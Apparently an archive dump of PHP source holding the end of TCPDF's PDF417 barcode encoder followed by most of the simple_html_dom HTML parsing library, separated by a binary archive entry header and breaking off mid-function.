$aspectratio=2, $macro=array()) { $barcode_array = array(); if ((is_null($code)) OR ($code == '\0') OR ($code == '')) { return false; } // get the input sequence array $sequence = $this->getInputSequences($code); $codewords = array(); // array of code-words foreach($sequence as $seq) { $cw = $this->getCompaction($seq[0], $seq[1], true); $codewords = array_merge($codewords, $cw); } if ($codewords[0] == 900) { // Text Alpha is the default mode, so remove the first code array_shift($codewords); } // count number of codewords $numcw = count($codewords); if ($numcw > 925) { // reached maximum data codeword capacity return false; } // build macro control block codewords if (!empty($macro)) { $macrocw = array(); // beginning of macro control block $macrocw[] = 928; // segment index $cw = $this->getCompaction(902, sprintf('%05d', $macro['segment_index']), false); $macrocw = array_merge($macrocw, $cw); // file ID $cw = $this->getCompaction(900, $macro['file_id'], false); $macrocw = array_merge($macrocw, $cw); // optional fields $optmodes = array(900,902,902,900,900,902,902); $optsize = array(-1,2,4,-1,-1,-1,2); foreach ($optmodes as $k => $omode) { if (isset($macro['option_'.$k])) { $macrocw[] = 923; $macrocw[] = $k; if ($optsize[$k] == 2) { $macro['option_'.$k] = sprintf('%05d', $macro['option_'.$k]); } elseif ($optsize[$k] == 4) { $macro['option_'.$k] = sprintf('%010d', $macro['option_'.$k]); } $cw = $this->getCompaction($omode, $macro['option_'.$k], false); $macrocw = array_merge($macrocw, $cw); } } if ($macro['segment_index'] == ($macro['segment_total'] - 1)) { // end of control block $macrocw[] = 922; } // update total codewords $numcw += count($macrocw); } // set error correction level $ecl = $this->getErrorCorrectionLevel($ecl, $numcw); // number of codewords for error correction $errsize = (2 << $ecl); // calculate number of columns (number of codewords per row) and rows $nce = ($numcw + $errsize + 1); $cols = round((sqrt(4761 + (68 * $aspectratio * ROWHEIGHT * $nce)) - 69) / 34); // adjust cols if ($cols < 1) { $cols = 1; } elseif ($cols > 30) { $cols = 30; } $rows = ceil($nce / $cols); $size = ($cols * $rows); // adjust rows if (($rows < 3) OR ($rows > 90)) { if ($rows < 3) { $rows = 3; } elseif ($rows > 90) { $rows = 90; } $cols = ceil($size / $rows); $size = ($cols * $rows); } if ($size > 928) { // set dimensions to get maximum capacity if (abs($aspectratio - (17 * 29 / 32)) < abs($aspectratio - (17 * 16 / 58))) { $cols = 29; $rows = 32; } else { $cols = 16; $rows = 58; } $size = 928; } // calculate padding $pad = ($size - $nce); if ($pad > 0) { if (($size - $rows) == $nce) { --$rows; $size -= $rows; } else { // add pading $codewords = array_merge($codewords, array_fill(0, $pad, 900)); } } if (!empty($macro)) { // add macro section $codewords = array_merge($codewords, $macrocw); } // Symbol Lenght Descriptor (number of data codewords including Symbol Lenght Descriptor and pad codewords) $sld = $size - $errsize; // add symbol length description array_unshift($codewords, $sld); // calculate error correction $ecw = $this->getErrorCorrection($codewords, $ecl); // add error correction codewords $codewords = array_merge($codewords, $ecw); // add horizontal quiet zones to start and stop patterns $pstart = str_repeat('0', QUIETH).$this->start_pattern; $pstop = $this->stop_pattern.str_repeat('0', QUIETH); $barcode_array['num_rows'] = ($rows * ROWHEIGHT) + (2 * QUIETV); $barcode_array['num_cols'] = (($cols + 2) * 17) + 35 + (2 * QUIETH); $barcode_array['bcode'] = array(); // build rows for vertical quiet zone if (QUIETV > 0) { $empty_row = array_fill(0, $barcode_array['num_cols'], 0); for ($i = 0; $i < QUIETV; ++$i) { // add vertical quiet rows $barcode_array['bcode'][] = $empty_row; } } $k = 0; // codeword index $cid = 0; // initial cluster // for each row for ($r = 0; $r < $rows; ++$r) { // row start code $row = $pstart; switch ($cid) { case 0: { $L = ((30 * intval($r / 3)) + intval(($rows - 1) / 3)); break; } case 1: { $L = ((30 * intval($r / 3)) + ($ecl * 3) + (($rows - 1) % 3)); break; } case 2: { $L = ((30 * intval($r / 3)) + ($cols - 1)); break; } } // left row indicator $row .= sprintf('%17b', $this->clusters[$cid][$L]); // for each column for ($c = 0; $c < $cols; ++$c) { $row .= sprintf('%17b', $this->clusters[$cid][$codewords[$k]]); ++$k; } switch ($cid) { case 0: { $L = ((30 * intval($r / 3)) + ($cols - 1)); break; } case 1: { $L = ((30 * intval($r / 3)) + intval(($rows - 1) / 3)); break; } case 2: { $L = ((30 * intval($r / 3)) + ($ecl * 3) + (($rows - 1) % 3)); break; } } // right row indicator $row .= sprintf('%17b', $this->clusters[$cid][$L]); // row stop code $row .= $pstop; // convert the string to array $arow = preg_split('//', $row, -1, PREG_SPLIT_NO_EMPTY); // duplicate row to get the desired height for ($h = 0; $h < ROWHEIGHT; ++$h) { $barcode_array['bcode'][] = $arow; } ++$cid; if ($cid > 2) { $cid = 0; } } if (QUIETV > 0) { for ($i = 0; $i < QUIETV; ++$i) { // add vertical quiet rows $barcode_array['bcode'][] = $empty_row; } } $this->barcode_array = $barcode_array; } /** * Returns a barcode array which is readable by TCPDF * @return array barcode array readable by TCPDF; * @public */ public function getBarcodeArray() { return $this->barcode_array; } /** * Returns the error correction level (0-8) to be used * @param $ecl (int) error correction level * @param $numcw (int) number of data codewords * @return int error correction level * @protected */ protected function getErrorCorrectionLevel($ecl, $numcw) { // get maximum correction level $maxecl = 8; // starting error level $maxerrsize = (928 - $numcw); // available codewords for error while ($maxecl > 0) { $errsize = (2 << $ecl); if ($maxerrsize >= $errsize) { break; } --$maxecl; } // check for automatic levels if (($ecl < 0) OR ($ecl > 8)) { if ($numcw < 41) { $ecl = 2; } elseif ($numcw < 161) { $ecl = 3; } elseif ($numcw < 321) { $ecl = 4; } elseif ($numcw < 864) { $ecl = 5; } else { $ecl = $maxecl; } } if ($ecl > $maxecl) { $ecl = $maxecl; } return $ecl; } /** * Returns the error correction codewords * @param $cw (array) array of codewords including Symbol Lenght Descriptor and pad * @param $ecl (int) error correction level 0-8 * @return array of error correction codewords * @protected */ protected function getErrorCorrection($cw, $ecl) { // get error correction coefficients $ecc = $this->rsfactors[$ecl]; // number of error correction factors $eclsize = (2 << $ecl); // maximum index for $rsfactors[$ecl] $eclmaxid = ($eclsize - 1); // initialize array of error correction codewords $ecw = array_fill(0, $eclsize, 0); // for each data codeword foreach($cw as $k => $d) { $t1 = ($d + $ecw[$eclmaxid]) % 929; for ($j = $eclmaxid; $j > 0; --$j) { $t2 = ($t1 * $ecc[$j]) % 929; $t3 = 929 - $t2; $ecw[$j] = ($ecw[($j - 1)] + $t3) % 929; } $t2 = ($t1 * $ecc[0]) % 929; $t3 = 929 - $t2; $ecw[0] = $t3 % 929; } foreach($ecw as $j => $e) { if ($e != 0) { $ecw[$j] = 929 - $e; } } $ecw = array_reverse($ecw); return $ecw; } /** * Create array of sequences from input * @param $code (string) code * @return bidimensional array containing characters and classification * @protected */ protected function getInputSequences($code) { $sequence_array = array(); // array to be returned $numseq = array(); // get numeric sequences preg_match_all('/([0-9]{13,44})/', $code, $numseq, PREG_OFFSET_CAPTURE); $numseq[1][] = array('', strlen($code)); $offset = 0; foreach($numseq[1] as $seq) { $seqlen = strlen($seq[0]); if ($seq[1] > 0) { // extract text sequence before the number sequence $prevseq = substr($code, $offset, ($seq[1] - $offset)); $textseq = array(); // get text sequences preg_match_all('/([\x09\x0a\x0d\x20-\x7e]{5,})/', $prevseq, $textseq, PREG_OFFSET_CAPTURE); $textseq[1][] = array('', strlen($prevseq)); $txtoffset = 0; foreach($textseq[1] as $txtseq) { $txtseqlen = strlen($txtseq[0]); if ($txtseq[1] > 0) { // extract byte sequence before the text sequence $prevtxtseq = substr($prevseq, $txtoffset, ($txtseq[1] - $txtoffset)); if (strlen($prevtxtseq) > 0) { // add BYTE sequence if ((strlen($prevtxtseq) == 1) AND ((count($sequence_array) > 0) AND ($sequence_array[(count($sequence_array) - 1)][0] == 900))) { $sequence_array[] = array(913, $prevtxtseq); } elseif ((strlen($prevtxtseq) % 6) == 0) { $sequence_array[] = array(924, $prevtxtseq); } else { $sequence_array[] = array(901, $prevtxtseq); } } } if ($txtseqlen > 0) { // add numeric sequence $sequence_array[] = array(900, $txtseq[0]); } $txtoffset = $txtseq[1] + $txtseqlen; } } if ($seqlen > 0) { // add numeric sequence $sequence_array[] = array(902, $seq[0]); } $offset = $seq[1] + $seqlen; } return $sequence_array; } /** * Compact data by mode. * @param $mode (int) compaction mode number * @param $code (string) data to compact * @param $addmode (boolean) if true add the mode codeword at first position * @return array of codewords * @protected */ protected function getCompaction($mode, $code, $addmode=true) { $cw = array(); // array of codewords to return switch($mode) { case 900: { // Text Compaction mode latch $submode = 0; // default Alpha sub-mode $txtarr = array(); // array of characters and sub-mode switching characters $codelen = strlen($code); for ($i = 0; $i < $codelen; ++$i) { $chval = ord($code{$i}); if (($k = array_search($chval, $this->textsubmodes[$submode])) !== false) { // we are on the same sub-mode $txtarr[] = $k; } else { // the sub-mode is changed for ($s = 0; $s < 4; ++$s) { // search new sub-mode if (($s != $submode) AND (($k = array_search($chval, $this->textsubmodes[$s])) !== false)) { // $s is the new submode if (((($i + 1) == $codelen) OR ((($i + 1) < $codelen) AND (array_search(ord($code{($i + 1)}), $this->textsubmodes[$submode]) !== false))) AND (($s == 3) OR (($s == 0) AND ($submode == 1)))) { // shift (temporary change only for this char) if ($s == 3) { // shift to puntuaction $txtarr[] = 29; } else { // shift from lower to alpha $txtarr[] = 27; } } else { // latch $txtarr = array_merge($txtarr, $this->textlatch[''.$submode.$s]); // set new submode $submode = $s; } // add characted code to array $txtarr[] = $k; break; } } } } $txtarrlen = count($txtarr); if (($txtarrlen % 2) != 0) { // add padding $txtarr[] = 29; ++$txtarrlen; } // calculate codewords for ($i = 0; $i < $txtarrlen; $i += 2) { $cw[] = (30 * $txtarr[$i]) + $txtarr[($i + 1)]; } break; } case 901: case 924: { // Byte Compaction mode latch while (($codelen = strlen($code)) > 0) { if ($codelen > 6) { $rest = substr($code, 6); $code = substr($code, 0, 6); $sublen = 6; } else { $rest = ''; $sublen = strlen($code); } if ($sublen == 6) { $t = bcmul(''.ord($code{0}), '1099511627776'); $t = bcadd($t, bcmul(''.ord($code{1}), '4294967296')); $t = bcadd($t, bcmul(''.ord($code{2}), '16777216')); $t = bcadd($t, bcmul(''.ord($code{3}), '65536')); $t = bcadd($t, bcmul(''.ord($code{4}), '256')); $t = bcadd($t, ''.ord($code{5})); do { $d = bcmod($t, '900'); $t = bcdiv($t, '900'); array_unshift($cw, $d); } while ($t != '0'); } else { for ($i = 0; $i < $sublen; ++$i) { $cw[] = ord($code{$i}); } } $code = $rest; } break; } case 902: { // Numeric Compaction mode latch while (($codelen = strlen($code)) > 0) { if ($codelen > 44) { $rest = substr($code, 44); $code = substr($code, 0, 44); } else { $rest = ''; } $t = '1'.$code; do { $d = bcmod($t, '900'); $t = bcdiv($t, '900'); array_unshift($cw, $d); } while ($t != '0'); $code = $rest; } break; } case 913: { // Byte Compaction mode shift $cw[] = ord($code); break; } } if ($addmode) { // add the compaction mode codeword at the beginning array_unshift($cw, $mode); } return $cw; } } // end PDF417 class //============================================================+ // END OF FILE //============================================================+ PK���\�_D� � �/visolutions/simple_html_dom/simple_html_dom.phpnu&1i�<?php /** * Website: http://sourceforge.net/projects/simplehtmldom/ * Acknowledge: Jose Solorzano (https://sourceforge.net/projects/php-html/) * Contributions by: * Yousuke Kumakura (Attribute filters) * Vadim Voituk (Negative indexes supports of "find" method) * Antcs (Constructor with automatically load contents either text or file/url) * * all affected sections have comments starting with "PaperG" * * Paperg - Added case insensitive testing of the value of the selector. * Paperg - Added tag_start for the starting index of tags - NOTE: This works but not accurately. * This tag_start gets counted AFTER \r\n have been crushed out, and after the remove_noice calls so it will not reflect the REAL position of the tag in the source, * it will almost always be smaller by some amount. * We use this to determine how far into the file the tag in question is. This "percentage will never be accurate as the $dom->size is the "real" number of bytes the dom was created from. * but for most purposes, it's a really good estimation. * Paperg - Added the forceTagsClosed to the dom constructor. Forcing tags closed is great for malformed html, but it CAN lead to parsing errors. * Allow the user to tell us how much they trust the html. * Paperg add the text and plaintext to the selectors for the find syntax. plaintext implies text in the innertext of a node. text implies that the tag is a text node. * This allows for us to find tags based on the text they contain. * Create find_ancestor_tag to see if a tag is - at any level - inside of another specific tag. * Paperg: added parse_charset so that we know about the character set of the source document. * NOTE: If the user's system has a routine called get_last_retrieve_url_contents_content_type availalbe, we will assume it's returning the content-type header from the * last transfer or curl_exec, and we will parse that and use it in preference to any other method of charset detection. * * Found infinite loop in the case of broken html in restore_noise. Rewrote to protect from that. * PaperG (John Schlick) Added get_display_size for "IMG" tags. * * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * @author S.C. Chen <me578022@gmail.com> * @author John Schlick * @author Rus Carroll * @version 1.5 ($Rev: 196 $) * @package PlaceLocalInclude * @subpackage simple_html_dom */ /** * All of the Defines for the classes below. * @author S.C. Chen <me578022@gmail.com> */ define('HDOM_TYPE_ELEMENT', 1); define('HDOM_TYPE_COMMENT', 2); define('HDOM_TYPE_TEXT', 3); define('HDOM_TYPE_ENDTAG', 4); define('HDOM_TYPE_ROOT', 5); define('HDOM_TYPE_UNKNOWN', 6); define('HDOM_QUOTE_DOUBLE', 0); define('HDOM_QUOTE_SINGLE', 1); define('HDOM_QUOTE_NO', 3); define('HDOM_INFO_BEGIN', 0); define('HDOM_INFO_END', 1); define('HDOM_INFO_QUOTE', 2); define('HDOM_INFO_SPACE', 3); define('HDOM_INFO_TEXT', 4); define('HDOM_INFO_INNER', 5); define('HDOM_INFO_OUTER', 6); define('HDOM_INFO_ENDSPACE',7); define('DEFAULT_TARGET_CHARSET', 'UTF-8'); define('DEFAULT_BR_TEXT', "\r\n"); define('DEFAULT_SPAN_TEXT', " "); define('MAX_FILE_SIZE', 600000); // helper functions // ----------------------------------------------------------------------------- // get html dom from file // $maxlen is defined in the code as PHP_STREAM_COPY_ALL which is defined as -1. function file_get_html($url, $use_include_path = false, $context=null, $offset = -1, $maxLen=-1, $lowercase = true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { // We DO force the tags to be terminated. $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); // For sourceforge users: uncomment the next line and comment the retreive_url_contents line 2 lines down if it is not already done. $contents = file_get_contents($url, $use_include_path, $context, $offset); // Paperg - use our own mechanism for getting the contents as we want to control the timeout. //$contents = retrieve_url_contents($url); if (empty($contents) || strlen($contents) > MAX_FILE_SIZE) { return false; } // The second parameter can force the selectors to all be lowercase. $dom->load($contents, $lowercase, $stripRN); return $dom; } // get html dom from string function str_get_html($str, $lowercase=true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); if (empty($str) || strlen($str) > MAX_FILE_SIZE) { $dom->clear(); return false; } $dom->load($str, $lowercase, $stripRN); return $dom; } // dump html dom tree function dump_html_tree($node, $show_attr=true, $deep=0) { $node->dump($node); } /** * simple html dom node * PaperG - added ability for "find" routine to lowercase the value of the selector. * PaperG - added $tag_start to track the start position of the tag in the total byte index * * @package PlaceLocalInclude */ class simple_html_dom_node { public $nodetype = HDOM_TYPE_TEXT; public $tag = 'text'; public $attr = array(); public $children = array(); public $nodes = array(); public $parent = null; // The "info" array - see HDOM_INFO_... for what each element contains. public $_ = array(); public $tag_start = 0; private $dom = null; function __construct($dom) { $this->dom = $dom; $dom->nodes[] = $this; } function __destruct() { $this->clear(); } function __toString() { return $this->outertext(); } // clean up memory due to php5 circular references memory leak... function clear() { $this->dom = null; $this->nodes = null; $this->parent = null; $this->children = null; } // dump node's tree function dump($show_attr=true, $deep=0) { $lead = str_repeat(' ', $deep); echo $lead.$this->tag; if ($show_attr && count($this->attr)>0) { echo '('; foreach ($this->attr as $k=>$v) echo "[$k]=>\"".$this->$k.'", '; echo ')'; } echo "\n"; if ($this->nodes) { foreach ($this->nodes as $c) { $c->dump($show_attr, $deep+1); } } } // Debugging function to dump a single dom node with a bunch of information about it. function dump_node($echo=true) { $string = $this->tag; if (count($this->attr)>0) { $string .= '('; foreach ($this->attr as $k=>$v) { $string .= "[$k]=>\"".$this->$k.'", '; } $string .= ')'; } if (count($this->_)>0) { $string .= ' $_ ('; foreach ($this->_ as $k=>$v) { if (is_array($v)) { $string .= "[$k]=>("; foreach ($v as $k2=>$v2) { $string .= "[$k2]=>\"".$v2.'", '; } $string .= ")"; } else { $string .= "[$k]=>\"".$v.'", '; } } $string .= ")"; } if (isset($this->text)) { $string .= " text: (" . $this->text . ")"; } $string .= " HDOM_INNER_INFO: '"; if (isset($node->_[HDOM_INFO_INNER])) { $string .= $node->_[HDOM_INFO_INNER] . "'"; } else { $string .= ' NULL '; } $string .= " children: " . count($this->children); $string .= " nodes: " . count($this->nodes); $string .= " tag_start: " . $this->tag_start; $string .= "\n"; if ($echo) { echo $string; return; } else { return $string; } } // returns the parent of node // If a node is passed in, it will reset the parent of the current node to that one. function parent($parent=null) { // I am SURE that this doesn't work properly. // It fails to unset the current node from it's current parents nodes or children list first. if ($parent !== null) { $this->parent = $parent; $this->parent->nodes[] = $this; $this->parent->children[] = $this; } return $this->parent; } // verify that node has children function has_child() { return !empty($this->children); } // returns children of node function children($idx=-1) { if ($idx===-1) { return $this->children; } if (isset($this->children[$idx])) return $this->children[$idx]; return null; } // returns the first child of node function first_child() { if (count($this->children)>0) { return $this->children[0]; } return null; } // returns the last child of node function last_child() { if (($count=count($this->children))>0) { return $this->children[$count-1]; } return null; } // returns the next sibling of node function next_sibling() { if ($this->parent===null) { return null; } $idx = 0; $count = count($this->parent->children); while ($idx<$count && $this!==$this->parent->children[$idx]) { ++$idx; } if (++$idx>=$count) { return null; } return $this->parent->children[$idx]; } // returns the previous sibling of node function prev_sibling() { if ($this->parent===null) return null; $idx = 0; $count = count($this->parent->children); while ($idx<$count && $this!==$this->parent->children[$idx]) ++$idx; if (--$idx<0) return null; return $this->parent->children[$idx]; } // function to locate a specific ancestor tag in the path to the root. function find_ancestor_tag($tag) { global $debugObject; if (is_object($debugObject)) { $debugObject->debugLogEntry(1); } // Start by including ourselves in the comparison. $returnDom = $this; while (!is_null($returnDom)) { if (is_object($debugObject)) { $debugObject->debugLog(2, "Current tag is: " . $returnDom->tag); } if ($returnDom->tag == $tag) { break; } $returnDom = $returnDom->parent; } return $returnDom; } // get dom node's inner html function innertext() { if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); $ret = ''; foreach ($this->nodes as $n) $ret .= $n->outertext(); return $ret; } // get dom node's outer text (with tag) function outertext() { global $debugObject; if (is_object($debugObject)) { $text = ''; if ($this->tag == 'text') { if (!empty($this->text)) { $text = " with text: " . $this->text; } } $debugObject->debugLog(1, 'Innertext of tag: ' . $this->tag . $text); } if ($this->tag==='root') return $this->innertext(); // trigger callback if ($this->dom && $this->dom->callback!==null) { call_user_func_array($this->dom->callback, array($this)); } if (isset($this->_[HDOM_INFO_OUTER])) return $this->_[HDOM_INFO_OUTER]; if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); // render begin tag if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]) { $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup(); } else { $ret = ""; } // render inner text if (isset($this->_[HDOM_INFO_INNER])) { // If it's a br tag... don't return the HDOM_INNER_INFO that we may or may not have added. if ($this->tag != "br") { $ret .= $this->_[HDOM_INFO_INNER]; } } else { if ($this->nodes) { foreach ($this->nodes as $n) { $ret .= $this->convert_text($n->outertext()); } } } // render end tag if (isset($this->_[HDOM_INFO_END]) && $this->_[HDOM_INFO_END]!=0) $ret .= '</'.$this->tag.'>'; return $ret; } // get dom node's plain text function text() { if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; switch ($this->nodetype) { case HDOM_TYPE_TEXT: return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); case HDOM_TYPE_COMMENT: return ''; case HDOM_TYPE_UNKNOWN: return ''; } if (strcasecmp($this->tag, 'script')===0) return ''; if (strcasecmp($this->tag, 'style')===0) return ''; $ret = ''; // In rare cases, (always node type 1 or HDOM_TYPE_ELEMENT - observed for some span tags, and some p tags) $this->nodes is set to NULL. // NOTE: This indicates that there is a problem where it's set to NULL without a clear happening. // WHY is this happening? if (!is_null($this->nodes)) { foreach ($this->nodes as $n) { $ret .= $this->convert_text($n->text()); } // If this node is a span... add a space at the end of it so multiple spans don't run into each other. This is plaintext after all. if ($this->tag == "span") { $ret .= $this->dom->default_span_text; } } return $ret; } function xmltext() { $ret = $this->innertext(); $ret = str_ireplace('<![CDATA[', '', $ret); $ret = str_replace(']]>', '', $ret); return $ret; } // build node's text with tag function makeup() { // text, comment, unknown if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); $ret = '<'.$this->tag; $i = -1; foreach ($this->attr as $key=>$val) { ++$i; // skip removed attribute if ($val===null || $val===false) continue; $ret .= $this->_[HDOM_INFO_SPACE][$i][0]; //no value attr: nowrap, checked selected... if ($val===true) $ret .= $key; else { switch ($this->_[HDOM_INFO_QUOTE][$i]) { case HDOM_QUOTE_DOUBLE: $quote = '"'; break; case HDOM_QUOTE_SINGLE: $quote = '\''; break; default: $quote = ''; } $ret .= $key.$this->_[HDOM_INFO_SPACE][$i][1].'='.$this->_[HDOM_INFO_SPACE][$i][2].$quote.$val.$quote; } } $ret = $this->dom->restore_noise($ret); return $ret . $this->_[HDOM_INFO_ENDSPACE] . '>'; } // find elements by css selector //PaperG - added ability for find to lowercase the value of the selector. function find($selector, $idx=null, $lowercase=false) { $selectors = $this->parse_selector($selector); if (($count=count($selectors))===0) return array(); $found_keys = array(); // find each selector for ($c=0; $c<$count; ++$c) { // The change on the below line was documented on the sourceforge code tracker id 2788009 // used to be: if (($levle=count($selectors[0]))===0) return array(); if (($levle=count($selectors[$c]))===0) return array(); if (!isset($this->_[HDOM_INFO_BEGIN])) return array(); $head = array($this->_[HDOM_INFO_BEGIN]=>1); // handle descendant selectors, no recursive! for ($l=0; $l<$levle; ++$l) { $ret = array(); foreach ($head as $k=>$v) { $n = ($k===-1) ? $this->dom->root : $this->dom->nodes[$k]; //PaperG - Pass this optional parameter on to the seek function. $n->seek($selectors[$c][$l], $ret, $lowercase); } $head = $ret; } foreach ($head as $k=>$v) { if (!isset($found_keys[$k])) $found_keys[$k] = 1; } } // sort keys ksort($found_keys); $found = array(); foreach ($found_keys as $k=>$v) $found[] = $this->dom->nodes[$k]; // return nth-element or array if (is_null($idx)) return $found; else if ($idx<0) $idx = count($found) + $idx; return (isset($found[$idx])) ? $found[$idx] : null; } // seek for given conditions // PaperG - added parameter to allow for case insensitive testing of the value of a selector. protected function seek($selector, &$ret, $lowercase=false) { global $debugObject; if (is_object($debugObject)) { $debugObject->debugLogEntry(1); } list($tag, $key, $val, $exp, $no_key) = $selector; // xpath index if ($tag && $key && is_numeric($key)) { $count = 0; foreach ($this->children as $c) { if ($tag==='*' || $tag===$c->tag) { if (++$count==$key) { $ret[$c->_[HDOM_INFO_BEGIN]] = 1; return; } } } return; } $end = (!empty($this->_[HDOM_INFO_END])) ? $this->_[HDOM_INFO_END] : 0; if ($end==0) { $parent = $this->parent; while (!isset($parent->_[HDOM_INFO_END]) && $parent!==null) { $end -= 1; $parent = $parent->parent; } $end += $parent->_[HDOM_INFO_END]; } for ($i=$this->_[HDOM_INFO_BEGIN]+1; $i<$end; ++$i) { $node = $this->dom->nodes[$i]; $pass = true; if ($tag==='*' && !$key) { if (in_array($node, $this->children, true)) $ret[$i] = 1; continue; } // compare tag if ($tag && $tag!=$node->tag && $tag!=='*') {$pass=false;} // compare key if ($pass && $key) { if ($no_key) { if (isset($node->attr[$key])) $pass=false; } else { if (($key != "plaintext") && !isset($node->attr[$key])) $pass=false; } } // compare value if ($pass && $key && $val && $val!=='*') { // If they have told us that this is a "plaintext" search then we want the plaintext of the node - right? if ($key == "plaintext") { // $node->plaintext actually returns $node->text(); $nodeKeyValue = $node->text(); } else { // this is a normal search, we want the value of that attribute of the tag. $nodeKeyValue = $node->attr[$key]; } if (is_object($debugObject)) {$debugObject->debugLog(2, "testing node: " . $node->tag . " for attribute: " . $key . $exp . $val . " where nodes value is: " . $nodeKeyValue);} //PaperG - If lowercase is set, do a case insensitive test of the value of the selector. if ($lowercase) { $check = $this->match($exp, strtolower($val), strtolower($nodeKeyValue)); } else { $check = $this->match($exp, $val, $nodeKeyValue); } if (is_object($debugObject)) {$debugObject->debugLog(2, "after match: " . ($check ? "true" : "false"));} // handle multiple class if (!$check && strcasecmp($key, 'class')===0) { foreach (explode(' ',$node->attr[$key]) as $k) { // Without this, there were cases where leading, trailing, or double spaces lead to our comparing blanks - bad form. if (!empty($k)) { if ($lowercase) { $check = $this->match($exp, strtolower($val), strtolower($k)); } else { $check = $this->match($exp, $val, $k); } if ($check) break; } } } if (!$check) $pass = false; } if ($pass) $ret[$i] = 1; unset($node); } // It's passed by reference so this is actually what this function returns. if (is_object($debugObject)) {$debugObject->debugLog(1, "EXIT - ret: ", $ret);} } protected function match($exp, $pattern, $value) { global $debugObject; if (is_object($debugObject)) {$debugObject->debugLogEntry(1);} switch ($exp) { case '=': return ($value===$pattern); case '!=': return ($value!==$pattern); case '^=': return preg_match("/^".preg_quote($pattern,'/')."/", $value); case '$=': return preg_match("/".preg_quote($pattern,'/')."$/", $value); case '*=': if ($pattern[0]=='/') { return preg_match($pattern, $value); } return preg_match("/".$pattern."/i", $value); } return false; } protected function parse_selector($selector_string) { global $debugObject; if (is_object($debugObject)) {$debugObject->debugLogEntry(1);} // pattern of CSS selectors, modified from mootools // Paperg: Add the colon to the attrbute, so that it properly finds <tag attr:ibute="something" > like google does. // Note: if you try to look at this attribute, yo MUST use getAttribute since $dom->x:y will fail the php syntax check. // Notice the \[ starting the attbute? and the @? following? This implies that an attribute can begin with an @ sign that is not captured. // This implies that an html attribute specifier may start with an @ sign that is NOT captured by the expression. // farther study is required to determine of this should be documented or removed. // $pattern = "/([\w-:\*]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w-]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; $pattern = "/([\w-:\*]*)(?:\#([\w-]+)|\.([\w-]+))?(?:\[@?(!?[\w-:]+)(?:([!*^$]?=)[\"']?(.*?)[\"']?)?\])?([\/, ]+)/is"; preg_match_all($pattern, trim($selector_string).' ', $matches, PREG_SET_ORDER); if (is_object($debugObject)) {$debugObject->debugLog(2, "Matches Array: ", $matches);} $selectors = array(); $result = array(); //print_r($matches); foreach ($matches as $m) { $m[0] = trim($m[0]); if ($m[0]==='' || $m[0]==='/' || $m[0]==='//') continue; // for browser generated xpath if ($m[1]==='tbody') continue; list($tag, $key, $val, $exp, $no_key) = array($m[1], null, null, '=', false); if (!empty($m[2])) {$key='id'; $val=$m[2];} if (!empty($m[3])) {$key='class'; $val=$m[3];} if (!empty($m[4])) {$key=$m[4];} if (!empty($m[5])) {$exp=$m[5];} if (!empty($m[6])) {$val=$m[6];} // convert to lowercase if ($this->dom->lowercase) {$tag=strtolower($tag); $key=strtolower($key);} //elements that do NOT have the specified attribute if (isset($key[0]) && $key[0]==='!') {$key=substr($key, 1); $no_key=true;} $result[] = array($tag, $key, $val, $exp, $no_key); if (trim($m[7])===',') { $selectors[] = $result; $result = array(); } } if (count($result)>0) $selectors[] = $result; return $selectors; } function __get($name) { if (isset($this->attr[$name])) { return $this->convert_text($this->attr[$name]); } switch ($name) { case 'outertext': return $this->outertext(); case 'innertext': return $this->innertext(); case 'plaintext': return $this->text(); case 'xmltext': return $this->xmltext(); default: return array_key_exists($name, $this->attr); } } function __set($name, $value) { switch ($name) { case 'outertext': return $this->_[HDOM_INFO_OUTER] = $value; case 'innertext': if (isset($this->_[HDOM_INFO_TEXT])) return $this->_[HDOM_INFO_TEXT] = $value; return $this->_[HDOM_INFO_INNER] = $value; } if (!isset($this->attr[$name])) { $this->_[HDOM_INFO_SPACE][] = array(' ', '', ''); $this->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; } $this->attr[$name] = $value; } function __isset($name) { switch ($name) { case 'outertext': return true; case 'innertext': return true; case 'plaintext': return true; } //no value attr: nowrap, checked selected... return (array_key_exists($name, $this->attr)) ? true : isset($this->attr[$name]); } function __unset($name) { if (isset($this->attr[$name])) unset($this->attr[$name]); } // PaperG - Function to convert the text from one character set to another if the two sets are not the same. function convert_text($text) { global $debugObject; if (is_object($debugObject)) {$debugObject->debugLogEntry(1);} $converted_text = $text; $sourceCharset = ""; $targetCharset = ""; if ($this->dom) { $sourceCharset = strtoupper($this->dom->_charset); $targetCharset = strtoupper($this->dom->_target_charset); } if (is_object($debugObject)) {$debugObject->debugLog(3, "source charset: " . $sourceCharset . " target charaset: " . $targetCharset);} if (!empty($sourceCharset) && !empty($targetCharset) && (strcasecmp($sourceCharset, $targetCharset) != 0)) { // Check if the reported encoding could have been incorrect and the text is actually already UTF-8 if ((strcasecmp($targetCharset, 'UTF-8') == 0) && ($this->is_utf8($text))) { $converted_text = $text; } else { $converted_text = iconv($sourceCharset, $targetCharset, $text); } } // Lets make sure that we don't have that silly BOM issue with any of the utf-8 text we output. if ($targetCharset == 'UTF-8') { if (substr($converted_text, 0, 3) == "\xef\xbb\xbf") { $converted_text = substr($converted_text, 3); } if (substr($converted_text, -3) == 